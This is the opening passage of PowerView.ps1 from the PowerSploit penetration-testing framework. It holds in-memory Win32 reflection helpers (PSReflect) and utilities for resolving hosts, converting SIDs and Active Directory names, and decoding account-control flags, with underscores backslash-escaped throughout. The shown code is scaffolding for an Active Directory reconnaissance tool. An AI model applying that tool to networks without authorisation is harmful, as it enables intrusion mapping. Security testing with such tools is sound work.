#requires -version 2

<#

PowerSploit File: PowerView.ps1

Author: Will Schroeder (@harmj0y)

License: BSD 3-Clause

Required Dependencies: None

Optional Dependencies: None

#>

########################################################

#

# PSReflect code for Windows API access

# Author: @mattifestation

# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1

#

########################################################

function New-InMemoryModule

{

<#

.SYNOPSIS

Creates an in-memory assembly and module

Author: Matthew Graeber (@mattifestation)

License: BSD 3-Clause

Required Dependencies: None

Optional Dependencies: None

.DESCRIPTION

When defining custom enums, structs, and unmanaged functions, it is

necessary to associate to an assembly module. This helper function

creates an in-memory module that can be passed to the 'enum',

'struct', and Add-Win32Type functions.

.PARAMETER ModuleName

Specifies the desired name for the in-memory assembly and module. If

ModuleName is not provided, it will default to a GUID.

.EXAMPLE

$Module = New-InMemoryModule -ModuleName Win32

#>

Param

(

[Parameter(Position = 0)]

[ValidateNotNullOrEmpty()]

[String]

$ModuleName = [Guid]::NewGuid().ToString()

)

$LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()

ForEach ($Assembly in $LoadedAssemblies) {

if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {

return $Assembly

}

}

$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)

$Domain = [AppDomain]::CurrentDomain

$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')

$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)

return $ModuleBuilder

}

# A helper function used to reduce typing while defining function

# prototypes for Add-Win32Type.

function func

{

Param

(

[Parameter(Position = 0, Mandatory = $True)]

[String]

$DllName,

[Parameter(Position = 1, Mandatory = $True)]

[String]

$FunctionName,

[Parameter(Position = 2, Mandatory = $True)]

[Type]

$ReturnType,

[Parameter(Position = 3)]

[Type[]]

$ParameterTypes,

[Parameter(Position = 4)]

[Runtime.InteropServices.CallingConvention]

$NativeCallingConvention,

[Parameter(Position = 5)]

[Runtime.InteropServices.CharSet]

$Charset,

[Switch]

$SetLastError

)

$Properties = @{

DllName = $DllName

FunctionName = $FunctionName

ReturnType = $ReturnType

}

if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }

if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }

if ($Charset) { $Properties['Charset'] = $Charset }

if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }

New-Object PSObject -Property $Properties

}

function Add-Win32Type

{

<#

.SYNOPSIS

Creates a .NET type for an unmanaged Win32 function.

Author: Matthew Graeber (@mattifestation)

License: BSD 3-Clause

Required Dependencies: None

Optional Dependencies: func

.DESCRIPTION

Add-Win32Type enables you to easily interact with unmanaged (i.e.

Win32 unmanaged) functions in PowerShell. After providing

Add-Win32Type with a function signature, a .NET type is created

using reflection (i.e. csc.exe is never called like with Add-Type).

The 'func' helper function can be used to reduce typing when defining

multiple function definitions.

.PARAMETER DllName

The name of the DLL.

.PARAMETER FunctionName

The name of the target function.

.PARAMETER ReturnType

The return type of the function.

.PARAMETER ParameterTypes

The function parameters.

.PARAMETER NativeCallingConvention

Specifies the native calling convention of the function. Defaults to

stdcall.

.PARAMETER Charset

If you need to explicitly call an 'A' or 'W' Win32 function, you can

specify the character set.

.PARAMETER SetLastError

Indicates whether the callee calls the SetLastError Win32 API

function before returning from the attributed method.

.PARAMETER Module

The in-memory module that will host the functions. Use

New-InMemoryModule to define an in-memory module.

.PARAMETER Namespace

An optional namespace to prepend to the type. Add-Win32Type defaults

to a namespace consisting only of the name of the DLL.

.EXAMPLE

$Mod = New-InMemoryModule -ModuleName Win32

$FunctionDefinitions = @(

(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),

(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),

(func ntdll RtlGetCurrentPeb ([IntPtr]) @())

)

$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'

$Kernel32 = $Types['kernel32']

$Ntdll = $Types['ntdll']

$Ntdll::RtlGetCurrentPeb()

$ntdllbase = $Kernel32::GetModuleHandle('ntdll')

$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')

.NOTES

Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189

When defining multiple function prototypes, it is ideal to provide

Add-Win32Type with an array of function signatures. That way, they

are all incorporated into the same in-memory module.

#>

[OutputType([Hashtable])]

Param(

[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]

[String]

$DllName,

[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]

[String]

$FunctionName,

[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]

[Type]

$ReturnType,

[Parameter(ValueFromPipelineByPropertyName = $True)]

[Type[]]

$ParameterTypes,

[Parameter(ValueFromPipelineByPropertyName = $True)]

[Runtime.InteropServices.CallingConvention]

$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,

[Parameter(ValueFromPipelineByPropertyName = $True)]

[Runtime.InteropServices.CharSet]

$Charset = [Runtime.InteropServices.CharSet]::Auto,

[Parameter(ValueFromPipelineByPropertyName = $True)]

[Switch]

$SetLastError,

[Parameter(Mandatory = $True)]

[ValidateScript({($\_ -is [Reflection.Emit.ModuleBuilder]) -or ($\_ -is [Reflection.Assembly])})]

$Module,

[ValidateNotNull()]

[String]

$Namespace = ''

)

BEGIN

{

$TypeHash = @{}

}

PROCESS

{

if ($Module -is [Reflection.Assembly])

{

if ($Namespace)

{

$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")

}

else

{

$TypeHash[$DllName] = $Module.GetType($DllName)

}

}

else

{

# Define one type for each DLL

if (!$TypeHash.ContainsKey($DllName))

{

if ($Namespace)

{

$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')

}

else

{

$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')

}

}

$Method = $TypeHash[$DllName].DefineMethod(

$FunctionName,

'Public,Static,PinvokeImpl',

$ReturnType,

$ParameterTypes)

# Make each ByRef parameter an Out parameter

$i = 1

ForEach($Parameter in $ParameterTypes)

{

if ($Parameter.IsByRef)

{

[void] $Method.DefineParameter($i, 'Out', $Null)

}

$i++

}

$DllImport = [Runtime.InteropServices.DllImportAttribute]

$SetLastErrorField = $DllImport.GetField('SetLastError')

$CallingConventionField = $DllImport.GetField('CallingConvention')

$CharsetField = $DllImport.GetField('CharSet')

if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }

# Equivalent to C# version of [DllImport(DllName)]

$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])

$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,

$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),

[Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),

[Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))

$Method.SetCustomAttribute($DllImportAttribute)

}

}

END

{

if ($Module -is [Reflection.Assembly])

{

return $TypeHash

}

$ReturnTypes = @{}

ForEach ($Key in $TypeHash.Keys)

{

$Type = $TypeHash[$Key].CreateType()

$ReturnTypes[$Key] = $Type

}

return $ReturnTypes

}

}

function psenum

{

<#

.SYNOPSIS

Creates an in-memory enumeration for use in your PowerShell session.

Author: Matthew Graeber (@mattifestation)

License: BSD 3-Clause

Required Dependencies: None

Optional Dependencies: None

.DESCRIPTION

The 'psenum' function facilitates the creation of enums entirely in

memory using as close to a "C style" as PowerShell will allow.

.PARAMETER Module

The in-memory module that will host the enum. Use

New-InMemoryModule to define an in-memory module.

.PARAMETER FullName

The fully-qualified name of the enum.

.PARAMETER Type

The type of each enum element.

.PARAMETER EnumElements

A hashtable of enum elements.

.PARAMETER Bitfield

Specifies that the enum should be treated as a bitfield.

.EXAMPLE

$Mod = New-InMemoryModule -ModuleName Win32

$ImageSubsystem = psenum $Mod PE.IMAGE\_SUBSYSTEM UInt16 @{

UNKNOWN = 0

NATIVE = 1 # Image doesn't require a subsystem.

WINDOWS\_GUI = 2 # Image runs in the Windows GUI subsystem.

WINDOWS\_CUI = 3 # Image runs in the Windows character subsystem.

OS2\_CUI = 5 # Image runs in the OS/2 character subsystem.

POSIX\_CUI = 7 # Image runs in the Posix character subsystem.

NATIVE\_WINDOWS = 8 # Image is a native Win9x driver.

WINDOWS\_CE\_GUI = 9 # Image runs in the Windows CE subsystem.

EFI\_APPLICATION = 10

EFI\_BOOT\_SERVICE\_DRIVER = 11

EFI\_RUNTIME\_DRIVER = 12

EFI\_ROM = 13

XBOX = 14

WINDOWS\_BOOT\_APPLICATION = 16

}

.NOTES

PowerShell purists may disagree with the naming of this function but

again, this was developed in such a way so as to emulate a "C style"

definition as closely as possible. Sorry, I'm not going to name it

New-Enum. :P

#>

[OutputType([Type])]

Param

(

[Parameter(Position = 0, Mandatory = $True)]

[ValidateScript({($\_ -is [Reflection.Emit.ModuleBuilder]) -or ($\_ -is [Reflection.Assembly])})]

$Module,

[Parameter(Position = 1, Mandatory = $True)]

[ValidateNotNullOrEmpty()]

[String]

$FullName,

[Parameter(Position = 2, Mandatory = $True)]

[Type]

$Type,

[Parameter(Position = 3, Mandatory = $True)]

[ValidateNotNullOrEmpty()]

[Hashtable]

$EnumElements,

[Switch]

$Bitfield

)

if ($Module -is [Reflection.Assembly])

{

return ($Module.GetType($FullName))

}

$EnumType = $Type -as [Type]

$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)

if ($Bitfield)

{

$FlagsConstructor = [FlagsAttribute].GetConstructor(@())

$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())

$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)

}

ForEach ($Key in $EnumElements.Keys)

{

# Apply the specified enum type to each element

$Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)

}

$EnumBuilder.CreateType()

}

# A helper function used to reduce typing while defining struct

# fields.

function field

{

Param

(

[Parameter(Position = 0, Mandatory = $True)]

[UInt16]

$Position,

[Parameter(Position = 1, Mandatory = $True)]

[Type]

$Type,

[Parameter(Position = 2)]

[UInt16]

$Offset,

[Object[]]

$MarshalAs

)

@{

Position = $Position

Type = $Type -as [Type]

Offset = $Offset

MarshalAs = $MarshalAs

}

}

function struct

{

<#

.SYNOPSIS

Creates an in-memory struct for use in your PowerShell session.

Author: Matthew Graeber (@mattifestation)

License: BSD 3-Clause

Required Dependencies: None

Optional Dependencies: field

.DESCRIPTION

The 'struct' function facilitates the creation of structs entirely in

memory using as close to a "C style" as PowerShell will allow. Struct

fields are specified using a hashtable where each field of the struct

is comprosed of the order in which it should be defined, its .NET

type, and optionally, its offset and special marshaling attributes.

One of the features of 'struct' is that after your struct is defined,

it will come with a built-in GetSize method as well as an explicit

converter so that you can easily cast an IntPtr to the struct without

relying upon calling SizeOf and/or PtrToStructure in the Marshal

class.

.PARAMETER Module

The in-memory module that will host the struct. Use

New-InMemoryModule to define an in-memory module.

.PARAMETER FullName

The fully-qualified name of the struct.

.PARAMETER StructFields

A hashtable of fields. Use the 'field' helper function to ease

defining each field.

.PARAMETER PackingSize

Specifies the memory alignment of fields.

.PARAMETER ExplicitLayout

Indicates that an explicit offset for each field will be specified.

.EXAMPLE

$Mod = New-InMemoryModule -ModuleName Win32

$ImageDosSignature = psenum $Mod PE.IMAGE\_DOS\_SIGNATURE UInt16 @{

DOS\_SIGNATURE = 0x5A4D

OS2\_SIGNATURE = 0x454E

OS2\_SIGNATURE\_LE = 0x454C

VXD\_SIGNATURE = 0x454C

}

$ImageDosHeader = struct $Mod PE.IMAGE\_DOS\_HEADER @{

e\_magic = field 0 $ImageDosSignature

e\_cblp = field 1 UInt16

e\_cp = field 2 UInt16

e\_crlc = field 3 UInt16

e\_cparhdr = field 4 UInt16

e\_minalloc = field 5 UInt16

e\_maxalloc = field 6 UInt16

e\_ss = field 7 UInt16

e\_sp = field 8 UInt16

e\_csum = field 9 UInt16

e\_ip = field 10 UInt16

e\_cs = field 11 UInt16

e\_lfarlc = field 12 UInt16

e\_ovno = field 13 UInt16

e\_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)

e\_oemid = field 15 UInt16

e\_oeminfo = field 16 UInt16

e\_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)

e\_lfanew = field 18 Int32

}

# Example of using an explicit layout in order to create a union.

$TestUnion = struct $Mod TestUnion @{

field1 = field 0 UInt32 0

field2 = field 1 IntPtr 0

} -ExplicitLayout

.NOTES

PowerShell purists may disagree with the naming of this function but

again, this was developed in such a way so as to emulate a "C style"

definition as closely as possible. Sorry, I'm not going to name it

New-Struct. :P

#>

[OutputType([Type])]

Param

(

[Parameter(Position = 1, Mandatory = $True)]

[ValidateScript({($\_ -is [Reflection.Emit.ModuleBuilder]) -or ($\_ -is [Reflection.Assembly])})]

$Module,

[Parameter(Position = 2, Mandatory = $True)]

[ValidateNotNullOrEmpty()]

[String]

$FullName,

[Parameter(Position = 3, Mandatory = $True)]

[ValidateNotNullOrEmpty()]

[Hashtable]

$StructFields,

[Reflection.Emit.PackingSize]

$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,

[Switch]

$ExplicitLayout

)

if ($Module -is [Reflection.Assembly])

{

return ($Module.GetType($FullName))

}

[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,

Class,

Public,

Sealed,

BeforeFieldInit'

if ($ExplicitLayout)

{

$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout

}

else

{

$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout

}

$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)

$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]

$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))

$Fields = New-Object Hashtable[]($StructFields.Count)

# Sort each field according to the orders specified

# Unfortunately, PSv2 doesn't have the luxury of the

# hashtable [Ordered] accelerator.

ForEach ($Field in $StructFields.Keys)

{

$Index = $StructFields[$Field]['Position']

$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}

}

ForEach ($Field in $Fields)

{

$FieldName = $Field['FieldName']

$FieldProp = $Field['Properties']

$Offset = $FieldProp['Offset']

$Type = $FieldProp['Type']

$MarshalAs = $FieldProp['MarshalAs']

$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')

if ($MarshalAs)

{

$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])

if ($MarshalAs[1])

{

$Size = $MarshalAs[1]

$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,

$UnmanagedType, $SizeConst, @($Size))

}

else

{

$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))

}

$NewField.SetCustomAttribute($AttribBuilder)

}

if ($ExplicitLayout) { $NewField.SetOffset($Offset) }

}

# Make the struct aware of its own size.

# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!

$SizeMethod = $StructBuilder.DefineMethod('GetSize',

'Public, Static',

[Int],

[Type[]] @())

$ILGenerator = $SizeMethod.GetILGenerator()

# Thanks for the help, Jason Shirk!

$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)

$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,

[Type].GetMethod('GetTypeFromHandle'))

$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,

[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))

$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)

# Allow for explicit casting from an IntPtr

# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!

$ImplicitConverter = $StructBuilder.DefineMethod('op\_Implicit',

'PrivateScope, Public, Static, HideBySig, SpecialName',

$StructBuilder,

[Type[]] @([IntPtr]))

$ILGenerator2 = $ImplicitConverter.GetILGenerator()

$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)

$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg\_0)

$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)

$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,

[Type].GetMethod('GetTypeFromHandle'))

$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,

[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))

$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox\_Any, $StructBuilder)

$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)

$StructBuilder.CreateType()

}

########################################################

#

# Misc. helpers

#

########################################################

filter Get-IniContent {

<#

.SYNOPSIS

This helper parses an .ini file into a proper PowerShell object.

Author: 'The Scripting Guys'

Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/

.LINK

https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/

#>

[CmdletBinding()]

Param(

[Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]

[Alias('FullName')]

[ValidateScript({ Test-Path -Path $\_ })]

[String[]]

$Path

)

ForEach($TargetPath in $Path) {

$IniObject = @{}

Switch -Regex -File $TargetPath {

"^\[(.+)\]" # Section

{

$Section = $matches[1].Trim()

$IniObject[$Section] = @{}

$CommentCount = 0

}

"^(;.\*)$" # Comment

{

$Value = $matches[1].Trim()

$CommentCount = $CommentCount + 1

$Name = 'Comment' + $CommentCount

$IniObject[$Section][$Name] = $Value

}

"(.+?)\s\*=(.\*)" # Key

{

$Name, $Value = $matches[1..2]

$Name = $Name.Trim()

$Values = $Value.split(',') | ForEach-Object {$\_.Trim()}

if($Values -isnot [System.Array]) {$Values = @($Values)}

$IniObject[$Section][$Name] = $Values

}

}

$IniObject

}

}

filter Export-PowerViewCSV {

<#

.SYNOPSIS

This helper exports an -InputObject to a .csv in a thread-safe manner

using a mutex. This is so the various multi-threaded functions in

PowerView has a thread-safe way to export output to the same file.

Based partially on Dmitry Sotnikov's Export-CSV code

at http://poshcode.org/1590

.LINK

http://poshcode.org/1590

http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/

#>

Param(

[Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]

[System.Management.Automation.PSObject[]]

$InputObject,

[Parameter(Mandatory=$True, Position=0)]

[String]

[ValidateNotNullOrEmpty()]

$OutFile

)

$ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation

# mutex so threaded code doesn't stomp on the output file

$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';

$Null = $Mutex.WaitOne()

if (Test-Path -Path $OutFile) {

# hack to skip the first line of output if the file already exists

$ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$\_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile

}

else {

$ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile

}

$Mutex.ReleaseMutex()

}

filter Get-IPAddress {

<#

.SYNOPSIS

Resolves a given hostename to its associated IPv4 address.

If no hostname is provided, it defaults to returning

the IP address of the localhost.

.EXAMPLE

PS C:\> Get-IPAddress -ComputerName SERVER

Return the IPv4 address of 'SERVER'

.EXAMPLE

PS C:\> Get-Content .\hostnames.txt | Get-IPAddress

Get the IP addresses of all hostnames in an input file.

#>

[CmdletBinding()]

param(

[Parameter(Position=0, ValueFromPipeline=$True)]

[Alias('HostName')]

[String]

$ComputerName = $Env:ComputerName

)

try {

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# get the IP resolution of this specified hostname

@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {

if ($\_.AddressFamily -eq 'InterNetwork') {

$Out = New-Object PSObject

$Out | Add-Member Noteproperty 'ComputerName' $Computer

$Out | Add-Member Noteproperty 'IPAddress' $\_.IPAddressToString

$Out

}

}

}

catch {

Write-Verbose -Message 'Could not resolve host to an IP Address.'

}

}

filter Convert-NameToSid {

<#

.SYNOPSIS

Converts a given user/group name to a security identifier (SID).

.PARAMETER ObjectName

The user/group name to convert, can be 'user' or 'DOMAIN\user' format.

.PARAMETER Domain

Specific domain for the given user account, defaults to the current domain.

.EXAMPLE

PS C:\> Convert-NameToSid 'DEV\dfm'

#>

[CmdletBinding()]

param(

[Parameter(Mandatory=$True, ValueFromPipeline=$True)]

[String]

[Alias('Name')]

$ObjectName,

[String]

$Domain

)

$ObjectName = $ObjectName -Replace "/","\"

if($ObjectName.Contains("\")) {

# if we get a DOMAIN\user format, auto convert it

$Domain = $ObjectName.Split("\")[0]

$ObjectName = $ObjectName.Split("\")[1]

}

elseif(-not $Domain) {

$Domain = (Get-NetDomain).Name

}

try {

$Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))

$SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value

$Out = New-Object PSObject

$Out | Add-Member Noteproperty 'ObjectName' $ObjectName

$Out | Add-Member Noteproperty 'SID' $SID

$Out

}

catch {

Write-Verbose "Invalid object/name: $Domain\$ObjectName"

$Null

}

}

filter Convert-SidToName {

<#

.SYNOPSIS

Converts a security identifier (SID) to a group/user name.

.PARAMETER SID

The SID to convert.

.EXAMPLE

PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105

#>

[CmdletBinding()]

param(

[Parameter(Mandatory=$True, ValueFromPipeline=$True)]

[String]

[ValidatePattern('^S-1-.\*')]

$SID

)

try {

$SID2 = $SID.trim('\*')

# try to resolve any built-in SIDs first

# from https://support.microsoft.com/en-us/kb/243330

Switch ($SID2) {

'S-1-0' { 'Null Authority' }

'S-1-0-0' { 'Nobody' }

'S-1-1' { 'World Authority' }

'S-1-1-0' { 'Everyone' }

'S-1-2' { 'Local Authority' }

'S-1-2-0' { 'Local' }

'S-1-2-1' { 'Console Logon ' }

'S-1-3' { 'Creator Authority' }

'S-1-3-0' { 'Creator Owner' }

'S-1-3-1' { 'Creator Group' }

'S-1-3-2' { 'Creator Owner Server' }

'S-1-3-3' { 'Creator Group Server' }

'S-1-3-4' { 'Owner Rights' }

'S-1-4' { 'Non-unique Authority' }

'S-1-5' { 'NT Authority' }

'S-1-5-1' { 'Dialup' }

'S-1-5-2' { 'Network' }

'S-1-5-3' { 'Batch' }

'S-1-5-4' { 'Interactive' }

'S-1-5-6' { 'Service' }

'S-1-5-7' { 'Anonymous' }

'S-1-5-8' { 'Proxy' }

'S-1-5-9' { 'Enterprise Domain Controllers' }

'S-1-5-10' { 'Principal Self' }

'S-1-5-11' { 'Authenticated Users' }

'S-1-5-12' { 'Restricted Code' }

'S-1-5-13' { 'Terminal Server Users' }

'S-1-5-14' { 'Remote Interactive Logon' }

'S-1-5-15' { 'This Organization ' }

'S-1-5-17' { 'This Organization ' }

'S-1-5-18' { 'Local System' }

'S-1-5-19' { 'NT Authority' }

'S-1-5-20' { 'NT Authority' }

'S-1-5-80-0' { 'All Services ' }

'S-1-5-32-544' { 'BUILTIN\Administrators' }

'S-1-5-32-545' { 'BUILTIN\Users' }

'S-1-5-32-546' { 'BUILTIN\Guests' }

'S-1-5-32-547' { 'BUILTIN\Power Users' }

'S-1-5-32-548' { 'BUILTIN\Account Operators' }

'S-1-5-32-549' { 'BUILTIN\Server Operators' }

'S-1-5-32-550' { 'BUILTIN\Print Operators' }

'S-1-5-32-551' { 'BUILTIN\Backup Operators' }

'S-1-5-32-552' { 'BUILTIN\Replicators' }

'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }

'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }

'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }

'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }

'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }

'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }

'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }

'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }

'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }

'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }

'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }

'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }

'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }

'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }

'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }

'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }

'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }

'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }

Default {

$Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))

$Obj.Translate( [System.Security.Principal.NTAccount]).Value

}

}

}

catch {

Write-Verbose "Invalid SID: $SID"

$SID

}

}

filter Convert-ADName {

<#

.SYNOPSIS

Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com)

to canonical format (domain.com/Users/user) or NT4.

Based on Bill Stewart's code from this article:

http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats

.PARAMETER ObjectName

The user/group name to convert.

.PARAMETER InputType

The InputType of the user/group name ("NT4","Simple","Canonical").

.PARAMETER OutputType

The OutputType of the user/group name ("NT4","Simple","Canonical").

.EXAMPLE

PS C:\> Convert-ADName -ObjectName "dev\dfm"

Returns "dev.testlab.local/Users/Dave"

.EXAMPLE

PS C:\> Convert-SidToName "S-..." | Convert-ADName

Returns the canonical name for the resolved SID.

.LINK

http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats

#>

[CmdletBinding()]

param(

[Parameter(Mandatory=$True, ValueFromPipeline=$True)]

[String]

$ObjectName,

[String]

[ValidateSet("NT4","Simple","Canonical")]

$InputType,

[String]

[ValidateSet("NT4","Simple","Canonical")]

$OutputType

)

$NameTypes = @{

'Canonical' = 2

'NT4' = 3

'Simple' = 5

}

if(-not $PSBoundParameters['InputType']) {

if( ($ObjectName.split('/')).Count -eq 2 ) {

$ObjectName = $ObjectName.replace('/', '\')

}

if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") {

$InputType = 'NT4'

}

elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") {

$InputType = 'Simple'

}

elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") {

$InputType = 'Canonical'

}

else {

Write-Warning "Can not identify InType for $ObjectName"

return $ObjectName

}

}

elseif($InputType -eq 'NT4') {

$ObjectName = $ObjectName.replace('/', '\')

}

if(-not $PSBoundParameters['OutputType']) {

$OutputType = Switch($InputType) {

'NT4' {'Canonical'}

'Simple' {'NT4'}

'Canonical' {'NT4'}

}

}

# try to extract the domain from the given format

$Domain = Switch($InputType) {

'NT4' { $ObjectName.split("\")[0] }

'Simple' { $ObjectName.split("@")[1] }

'Canonical' { $ObjectName.split("/")[0] }

}

# Accessor functions to simplify calls to NameTranslate

function Invoke-Method([\_\_ComObject] $Object, [String] $Method, $Parameters) {

$Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters)

if ( $Output ) { $Output }

}

function Set-Property([\_\_ComObject] $Object, [String] $Property, $Parameters) {

[Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)

}

$Translate = New-Object -ComObject NameTranslate

try {

Invoke-Method $Translate "Init" (1, $Domain)

}

catch [System.Management.Automation.MethodInvocationException] {

Write-Verbose "Error with translate init in Convert-ADName: $\_"

}

Set-Property $Translate "ChaseReferral" (0x60)

try {

Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName)

(Invoke-Method $Translate "Get" ($NameTypes[$OutputType]))

}

catch [System.Management.Automation.MethodInvocationException] {

Write-Verbose "Error with translate Set/Get in Convert-ADName: $\_"

}

}

function ConvertFrom-UACValue {

<#

.SYNOPSIS

Converts a UAC int value to human readable form.

.PARAMETER Value

The int UAC value to convert.

.PARAMETER ShowAll

Show all UAC values, with a + indicating the value is currently set.

.EXAMPLE

PS C:\> ConvertFrom-UACValue -Value 66176

Convert the UAC value 66176 to human readable format.

.EXAMPLE

PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue

Convert the UAC value for 'jason' to human readable format.

.EXAMPLE

PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll

Convert the UAC value for 'jason' to human readable format, showing all

possible UAC values.

#>

[CmdletBinding()]

param(

[Parameter(Mandatory=$True, ValueFromPipeline=$True)]

$Value,

[Switch]

$ShowAll

)

begin {

# values from https://support.microsoft.com/en-us/kb/305144

$UACValues = New-Object System.Collections.Specialized.OrderedDictionary

$UACValues.Add("SCRIPT", 1)

$UACValues.Add("ACCOUNTDISABLE", 2)

$UACValues.Add("HOMEDIR\_REQUIRED", 8)

$UACValues.Add("LOCKOUT", 16)

$UACValues.Add("PASSWD\_NOTREQD", 32)

$UACValues.Add("PASSWD\_CANT\_CHANGE", 64)

$UACValues.Add("ENCRYPTED\_TEXT\_PWD\_ALLOWED", 128)

$UACValues.Add("TEMP\_DUPLICATE\_ACCOUNT", 256)

$UACValues.Add("NORMAL\_ACCOUNT", 512)

